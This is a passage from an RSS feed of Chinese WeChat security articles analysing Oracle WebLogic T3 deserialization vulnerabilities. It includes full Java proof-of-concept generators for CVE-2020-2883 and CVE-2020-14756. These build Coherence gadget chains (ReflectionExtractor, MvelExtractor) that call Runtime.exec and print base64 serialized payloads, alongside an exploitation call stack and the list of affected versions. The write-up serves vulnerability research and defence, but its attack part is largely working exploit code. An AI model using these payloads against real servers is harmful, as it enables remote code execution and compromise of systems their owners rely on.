class="code-snippet__literal">null</span> ? <span class="code-snippet__number">0</span> : -<span class="code-snippet__number">1</span>;</span></code><code><span class="code-snippet_outer">    } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> a2 == <span class="code-snippet__literal">null</span> ? <span class="code-snippet__number">1</span> : a1.compareTo(a2);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p>很明显的extract调用，同样的构造方法：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> com.tangosol.util.ValueExtractor;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> com.tangosol.util.comparator.ExtractorComparator;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> com.tangosol.util.extractor.ChainedExtractor;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> com.tangosol.util.extractor.MultiExtractor;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> com.tangosol.util.extractor.ReflectionExtractor;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> ysoserial.payloads.util.Reflections;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.io.ByteArrayOutputStream;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.io.ObjectOutputStream;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.lang.reflect.Field;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.util.Base64;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.util.PriorityQueue;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">class</span> CVE_2020_2883_ExtractorComparator {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__built_in">void</span> main(<span class="code-snippet__built_in">String</span>[] args) throws Exception {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// 创建第一个Extractor Runtime.getMethod(&#34;getRuntime&#34;)</span></span></code><code><span class="code-snippet_outer">        ReflectionExtractor reflectionExtractor1 = <span class="code-snippet__keyword">new</span> ReflectionExtractor(<span class="code-snippet__string">&#34;getMethod&#34;</span>, <span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">Object</span>[]{<span class="code-snippet__string">&#34;getRuntime&#34;</span>, <span class="code-snippet__keyword">new</span> Class[<span class="code-snippet__number">0</span>]});</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// 第二个Extractor getRuntime.invoke()</span></span></code><code><span class="code-snippet_outer">        ReflectionExtractor reflectionExtractor2 = <span class="code-snippet__keyword">new</span> ReflectionExtractor(<span class="code-snippet__string">&#34;invoke&#34;</span>, <span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">Object</span>[]{<span class="code-snippet__literal">null</span>, <span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">Object</span>[<span class="code-snippet__number">0</span>]});</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// 第三个Extractor invoke(exec, &#34;id&#34;)</span></span></code><code><span class="code-snippet_outer">        ReflectionExtractor reflectionExtractor3  = <span class="code-snippet__keyword">new</span> ReflectionExtractor(<span class="code-snippet__string">&#34;exec&#34;</span>, <span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">Object</span>[]{<span class="code-snippet__string">&#34;touch /tmp/success111.txt&#34;</span>});</span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//        ReflectionExtractor reflectionExtractor3  = new ReflectionExtractor(&#34;exec&#34;, new Object[]{new String[]{&#34;calc&#34;}});</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        ChainedExtractor chainedExtractor = <span class="code-snippet__keyword">new</span> ChainedExtractor(<span class="code-snippet__keyword">new</span> ValueExtractor[]{ reflectionExtractor1, reflectionExtractor2, reflectionExtractor3});</span></code><code><span class="code-snippet_outer">        ExtractorComparator extractorComparator = <span class="code-snippet__keyword">new</span> ExtractorComparator( chainedExtractor);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        PriorityQueue priorityQueue = <span class="code-snippet__keyword">new</span> PriorityQueue();</span></code><code><span class="code-snippet_outer">        priorityQueue.add(<span class="code-snippet__string">&#34;1&#34;</span>);</span></code><code><span class="code-snippet_outer">        priorityQueue.add(<span class="code-snippet__string">&#34;2&#34;</span>);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        Field comparator = priorityQueue.getClass().getDeclaredField(<span class="code-snippet__string">&#34;comparator&#34;</span>);</span></code><code><span class="code-snippet_outer">        comparator.setAccessible(<span class="code-snippet__literal">true</span>);</span></code><code><span class="code-snippet_outer">        comparator.set(priorityQueue, extractorComparator);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__built_in">Object</span>[] queueArray = (<span class="code-snippet__built_in">Object</span>[]) Reflections.getFieldValue(priorityQueue, <span class="code-snippet__string">&#34;queue&#34;</span>);</span></code><code><span class="code-snippet_outer">        queueArray[<span class="code-snippet__number">0</span>] = Runtime.class;</span></code><code><span class="code-snippet_outer">        queueArray[<span class="code-snippet__number">1</span>] = <span class="code-snippet__string">&#34;2&#34;</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        ByteArrayOutputStream fout = <span class="code-snippet__keyword">new</span> ByteArrayOutputStream();</span></code><code><span class="code-snippet_outer">        ObjectOutputStream objectOutputStream = <span class="code-snippet__keyword">new</span> ObjectOutputStream(fout);</span></code><code><span class="code-snippet_outer">        objectOutputStream.writeObject(priorityQueue);</span></code><code><span class="code-snippet_outer">        objectOutputStream.close();</span></code><code><span class="code-snippet_outer">        System.out.println(Base64.getEncoder().encodeToString(fout.toByteArray()));</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p><img class="rich_pages wxw-img" style="width: 750px;height: 83px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=254b6468&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr703CkHZSOibBtkUzovGSjkMtChXG0ZZjXFlCWcabZL7hvrRaFBQwcWdiaibmnzEkFhdAL6excfMnshQ%2F640%3Fwx_fmt%3Dpng"/></p><p>最终触发目标函数，过程差不多就不赘述了：</p><p><img class="rich_pages wxw-img" style="width: 2952px;height: 1872px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=1939e556&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr703CkHZSOibBtkUzovGSjkMlh7MuGQAHLkvoicvmAbut5nS1qwzEqibC0nSJ47broB8pXZUbLXbpTIg%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" style="width: 2952px;height: 1872px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=8515096d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr703CkHZSOibBtkUzovGSjkMvnyicMYCUqkjfdcHXI0HYFfoZ4H4SiaPbKGqzic17LOMLZuH2ZbEx3rjQ%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" style="width: 1708px;height: 1374px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=610df733&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr703CkHZSOibBtkUzovGSjkM8V0gwtb9ZSo2HDARE17feRMcM13t8GSUWNQX4RlHia5nibmcB4M19ZOg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-weight: bold;font-size: 20px;"><br/></span></p><p><span style="font-weight: bold;font-size: 20px;">CVE-2020-14756</span></p><p>影响范围：</p><ul yne-block-type="list" class="list-paddingleft-1"><li style="white-space: pre-wrap;line-height: 1.75;font-size: 14px;text-align: left;list-style-position: inside;word-break: break-word;font-family: &#34;Microsoft YaHei&#34;, STXihei;list-style-type: disc;"><p><span style="color: rgb(36, 41, 46);background-color: rgb(255, 255, 255);font-family: Arial;">Oracle Weblogic Server</span> 12.1.3.0.0</p></li><li style="white-space: pre-wrap;line-height: 1.75;font-size: 14px;text-align: left;list-style-position: inside;word-break: break-word;font-family: &#34;Microsoft YaHei&#34;, STXihei;list-style-type: disc;"><p><span style="color: rgb(36, 41, 46);background-color: rgb(255, 255, 255);font-family: Arial;">Oracle Weblogic Server</span> 12.2.1.3.0</p></li><li style="white-space: pre-wrap;line-height: 1.75;font-size: 14px;text-align: left;list-style-position: inside;word-break: break-word;font-family: &#34;Microsoft YaHei&#34;, STXihei;list-style-type: disc;"><p><span style="color: rgb(36, 41, 46);background-color: rgb(255, 255, 255);font-family: Arial;">Oracle Weblogic Server</span> 12.2.1.4.0</p></li><li style="white-space: pre-wrap;line-height: 1.75;font-size: 14px;text-align: left;list-style-position: inside;word-break: break-word;font-family: &#34;Microsoft YaHei&#34;, STXihei;list-style-type: disc;"><p><span style="color: rgb(36, 41, 46);background-color: rgb(255, 255, 255);font-family: Arial;font-size: 14px;">Oracle Weblogic Server</span><span style="font-size: 14px;"> </span><span style="color: rgb(36, 41, 46);background-color: rgb(255, 255, 255);font-size: 14px;font-family: Arial;">14.1.1.0.0</span></p></li></ul><p>同样是对反序列化黑名单的绕过，这里使用的是com.tangosol.coherence.servlet.AttributeHolder，调用其readExternal方法：</p><p><img class="rich_pages wxw-img" style="width: 2952px;height: 1872px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=183d3804&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr703CkHZSOibBtkUzovGSjkMUqOR8GekSzEp814rzaIMhKKpD7f4ib5WZucib1IIXYbtgIHNXvUAeictA%2F640%3Fwx_fmt%3Dpng"/></p><p>而com.tangosol.util.aggregator.TopNAggregator$PartialResult的readExternal方法将会触发其父类的SortedBag$WrapperComparator.compare方法：</p><p><img class="rich_pages wxw-img" style="width: 2952px;height: 1872px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=1e1f084f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr703CkHZSOibBtkUzovGSjkMcxAaNOkJsZRSIKunD2hauhGAc34yoNPlr7RTziaWp6aycm6CqnHibEvA%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" style="width: 2952px;height: 1872px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=0dffa659&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr703CkHZSOibBtkUzovGSjkMPFV0A9YmhyjcZwiaRTK1DxD8iauzlXAslvMY7eYemtnhMafP4pAmkDtg%2F640%3Fwx_fmt%3Dpng"/></p><p>而之前我们提到过，所有继承自AbstractExtractor的Extractor都会有一个compare方法可触发其extract方法：</p><p><img class="rich_pages wxw-img" style="width: 2952px;height: 1872px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=4546ac06&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr703CkHZSOibBtkUzovGSjkM6OPrFEJRqyNe7ThMQaOZia7V8EaAXwGaeKMAfOsibX7KfBVHiaYjR8CLg%2F640%3Fwx_fmt%3Dpng"/></p><p>对于MvelExtractor来说触发extract即是执行MVEL表达式计算，执行任意代码：</p><p><img class="rich_pages wxw-img" style="width: 2952px;height: 1872px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=0e01b44e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr703CkHZSOibBtkUzovGSjkMwwlLakMIk7FyBPxZw0Ed56Ghduqbn8WlzoEOwFsUOsR2ndS6LEibUfQ%2F640%3Fwx_fmt%3Dpng"/></p><p>调用栈如下：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="makefile"><code><span class="code-snippet_outer"><span class="code-snippet__section">extract:95, MvelExtractor (com.tangosol.coherence.rest.util.extractor)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">compare:143, AbstractExtractor (com.tangosol.util.extractor)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">compare:416, SortedBag$WrapperComparator (com.tangosol.util)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">compare:1295, TreeMap (java.util)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">put:538, TreeMap (java.util)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">add:152, SortedBag (com.tangosol.util)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">add:270, TopNAggregator$PartialResult (com.tangosol.util.aggregator)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">readExternal:299, TopNAggregator$PartialResult (com.tangosol.util.aggregator)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">readExternalizableLite:2345, ExternalizableHelper (com.tangosol.util)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">readObjectInternal:2661, ExternalizableHelper (com.tangosol.util)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">readObject:2606, ExternalizableHelper (com.tangosol.util)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">readObject:2583, ExternalizableHelper (com.tangosol.util)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">readExternal:407, AttributeHolder (com.tangosol.coherence.servlet)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">readExternal:372, AttributeHolder (com.tangosol.coherence.servlet)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">readExternalData:2062, ObjectInputStream (java.io)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">readOrdinaryObject:2011, ObjectInputStream (java.io)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">readObject0:1535, ObjectInputStream (java.io)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">readObject:422, ObjectInputStream (java.io)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">readObject:73, InboundMsgAbbrev (weblogic.rjvm)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">read:45, InboundMsgAbbrev (weblogic.rjvm)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">readMsgAbbrevs:325, MsgAbbrevJVMConnection (weblogic.rjvm)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">init:219, MsgAbbrevInputStream (weblogic.rjvm)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">dispatch:557, MsgAbbrevJVMConnection (weblogic.rjvm)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">dispatch:666, MuxableSocketT3 (weblogic.rjvm.t3)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">dispatch:397, BaseAbstractMuxableSocket (weblogic.socket)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">readReadySocketOnce:993, SocketMuxer (weblogic.socket)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">readReadySocket:929, SocketMuxer (weblogic.socket)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">process:599, NIOSocketMuxer (weblogic.socket)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">processSockets:563, NIOSocketMuxer (weblogic.socket)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">run:30, SocketReaderRequest (weblogic.socket)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">execute:43, SocketReaderRequest (weblogic.socket)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">execute:147, ExecuteThread (weblogic.kernel)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">run:119, ExecuteThread (weblogic.kernel)</span></span></code></pre></section><p>参考Y4er师傅<span style="text-decoration: underline;color: rgb(3, 102, 214);">POC</span>：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="swift"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> com.tangosol.coherence.rest.util.extractor.MvelExtractor;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> com.tangosol.coherence.servlet.AttributeHolder;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> com.tangosol.util.SortedBag;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> com.tangosol.util.aggregator.TopNAggregator;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.io.ByteArrayOutputStream;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.io.ObjectOutputStream;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.lang.reflect.Field;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.lang.reflect.Method;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.util.Base64;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">CVE_2020_14756</span> </span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> void main(<span class="code-snippet__type">String</span>[] args) {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__type">MvelExtractor</span> extractor = new <span class="code-snippet__type">MvelExtractor</span>(<span class="code-snippet__string">&#34;java.lang.Runtime.getRuntime().exec(\&#34;touch /tmp/123.txt\&#34;);&#34;</span>);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__type">MvelExtractor</span> extractor2 = new <span class="code-snippet__type">MvelExtractor</span>(<span class="code-snippet__string">&#34;&#34;</span>);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__type">SortedBag</span> sortedBag = new <span class="code-snippet__type">TopNAggregator</span>.<span class="code-snippet__type">PartialResult</span>(extractor2, <span class="code-snippet__number">2</span>);</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__type">AttributeHolder</span> attributeHolder = new <span class="code-snippet__type">AttributeHolder</span>();</span></code><code><span class="code-snippet_outer">            sortedBag.add(<span class="code-snippet__number">1</span>);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__type">Field</span> m_comparator = sortedBag.getClass().getSuperclass().getDeclaredField(<span class="code-snippet__string">&#34;m_comparator&#34;</span>);</span></code><code><span class="code-snippet_outer">            m_comparator.setAccessible(<span class="code-snippet__literal">true</span>);</span></code><code><span class="code-snippet_outer">            m_comparator.<span class="code-snippet__keyword">set</span>(sortedBag, extractor);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__type">Method</span> setInternalValue = attributeHolder.getClass().getDeclaredMethod(<span class="code-snippet__string">&#34;setInternalValue&#34;</span>, <span class="code-snippet__type">Object</span>.<span class="code-snippet__keyword">class</span>);</span></code><code><span class="code-snippet_outer">            setInternalValue.setAccessible(<span class="code-snippet__literal">true</span>);</span></code><code><span class="code-snippet_outer">            setInternalValue.invoke(attributeHolder, sortedBag);</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__type">ByteArrayOutputStream</span> fout = new <span class="code-snippet__type">ByteArrayOutputStream</span>();</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__type">ObjectOutputStream</span> objectOutputStream = new <span class="code-snippet__type">ObjectOutputStream</span>(fout);</span></code><code><span class="code-snippet_outer">            objectOutputStream.writeObject(attributeHolder);</span></code><code><span class="code-snippet_outer">            objectOutputStream.close();</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__type">System</span>.out.<span class="code-snippet__built_in">println</span>(<span class="code-snippet__type">Base64</span>.getEncoder().encodeToString(fout.toByteArray()));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (<span class="code-snippet__type">Exception</span> e) {</span></code><code><span class="code-snippet_outer">            e.printStackTrace();</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p><img class="rich_pages wxw-img" style="width: 1770px;height: 212px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=441d60b0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr703CkHZSOibBtkUzovGSjkMj7nvDC4hiar3VHtOZpyUjzBthLibEBEDzyGiaRFRIYmZl0ul61y5A4CfQ%2F640%3Fwx_fmt%3Dpng"/></p><p>流量特征：</p><p><img class="rich_pages wxw-img" style="width: 1708px;height: 1374px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=f161a163&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr703CkHZSOibBtkUzovGSjkMDB7XTChcQpT7yRuKhJ3Ry690b0MxRjoL0gdMZQ7xfe4tmfiau0gCJng%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-weight: bold;font-size: 28px;">后记</span></p><p>依旧参考<span style="font-weight: bold;color: rgb(51, 51, 51);">RoboTerh</span>师傅的文章：<span style="color: rgb(0, 56, 132);"><a href="https://tttang.com/archive/1785/#toc_cve-2017-3248" target="_blank">https://tttang.com/archive/1785/#toc_cve-2017-3248</a></span></p><p>关于前文中T3协议头部分存在一些问题，具体细则可参考su18《<a href="https://mp.weixin.qq.com/s?__biz=Mzg4Mzc2OTIzOA==&amp;mid=2247483950&amp;idx=1&amp;sn=a50d0a21ece6d9df2bfbbade0877e39a&amp;scene=21#wechat_redirect" data-linktype="2"><span style="text-decoration: underline;color: rgb(3, 102, 214);">Weblogic RMI 与 T3 初探</span></a>》。</p></article><p><br/></p><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247484162">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=7823eba3&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2MjgxOTc4MA%3D%3D%26mid%3D2247484162%26idx%3D1%26sn%3Dcaba95bc1d6c5b1977d05b2694102f51%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 18 Feb 2023 00:00:00 +0800</pubDate>
    </item>
    <item>
      <title>Weblogic T3协议漏洞分析(一)</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2MjgxOTc4MA==&amp;mid=2247484124&amp;idx=1&amp;sn=6b9c9b97cbf5164a421f399597a52685</link>
      <description></description>
      <content:encoded><![CDATA[<p>
<span>深蓝</span> <span>2023-01-17 17:57</span> <span style="display: inline-block;">四川</span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=e0132f98&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FYOLztAD7Qr7llSfutMHnJ5ib61L0ah21y5K3uqZ1qUkliaVRy3Vy7ibyURDX0BtkCU3hpoIOELe2vVgibsAdGDqtbg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><span style="font-size: 28px;font-weight: bold;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);text-align: start;">前言</span><br/></p><article data-content="[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3060-1621846615933&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h1&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;p5PQ-1621846617594&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;前言&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kB90-1673490914896&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9etu-1673490914894&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;记录Weblogic漏洞分析过程，参考了很多师傅的分析文章，链接放在后记中。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oFyQ-1673490306271&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h1&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SWH1-1673490306270&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;正文&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NqCj-1673490309103&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h2&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ipCq-1673490309101&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;环境搭建&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1TMC-1673490962449&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Kyq5-1673490962448&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;搭建环境参考：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AY3t-1673491068908&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oYuE-1673491068907&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;k0LB-1673491048381&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://github.com/QAX-A-Team/WeblogicEnvironment&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;B6nn-1673491048382&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://github.com/QAX-A-Team/WeblogicEnvironment&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xAWq-1673491048394&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MN0h-1673491025538&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;e0Ks-1673491025537&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;将对应版本的JDK与Weblogic分别放入/jdks和/weblogics目录中：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0ec7-1673491193208&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4894/WEBRESOURCEf4e134824542b9848635f4816e821f7e&#34;,&#34;width&#34;:535,&#34;height&#34;:251},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;64Fk-1673491074875&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#